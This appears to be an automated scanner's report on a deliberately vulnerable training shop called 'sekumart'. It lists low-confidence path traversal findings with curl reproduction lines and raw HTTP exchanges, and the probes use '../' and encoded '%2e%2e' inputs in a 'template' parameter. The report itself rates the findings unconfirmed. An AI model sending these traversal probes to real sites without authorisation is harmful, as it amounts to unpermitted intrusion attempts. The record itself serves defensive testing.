date: Thu, 17 Sep 2026 10:02:45 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

listing HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=&include=1&download=1&format=1&mode=1…

request

GET /cart.php?template=&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:46 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/catalog.php query string · template unconfirmed · low confidence BV-055 info

location: GET https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1
input: template in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

template reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

template looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?template=skscm7e0b/../1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1'

GET /catalog.php?template=skscm7e0b/../1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=1&format=1&mode=1…

request

GET /catalog.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:19 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=1&format=1&mode=1…

request

GET /catalog.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:19 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

normalised HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=skscm7e0b/../1&include=1&download=1…

request

GET /catalog.php?template=skscm7e0b/../1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:19 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

double_encoded HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=skscm7e0b/%2e%2e/1&include=1&download=1…

request

GET /catalog.php?template=skscm7e0b/%2e%2e/1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:19 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

control HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=skscm7e0b/1&include=1&download=1&format=…

request

GET /catalog.php?template=skscm7e0b/1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:19 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

listing HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=&include=1&download=1&format=1&mode=1…

request

GET /catalog.php?template=&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:19 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/sekumart.sekuripy.hr/login.php query string · template unconfirmed · low confidence BV-056 info

location: GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1
input: template in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

template reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

template looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=1&format=1&mode=1&state=1… bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=skscm7e0b/../1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1'

GET /sekumart.sekuripy.hr/login.php?template=skscm7e0b/../1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=…

request

GET /sekumart.sekuripy.hr/login.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:41 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

baseline again, to locate per-request churn HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=1&include=1&download=…

request

GET /sekumart.sekuripy.hr/login.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:41 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

normalised HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=skscm7e0b/../1…

request

GET /sekumart.sekuripy.hr/login.php?template=skscm7e0b/../1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:41 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

double_encoded HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=skscm7e0b/%2e%2e/1…

request

GET /sekumart.sekuripy.hr/login.php?template=skscm7e0b/%2e%2e/1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:41 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

control HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?template=skscm7e0b/1&include=1…

request

GET /sekumart.sekuripy.hr/login.php?template=skscm7e0b/1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
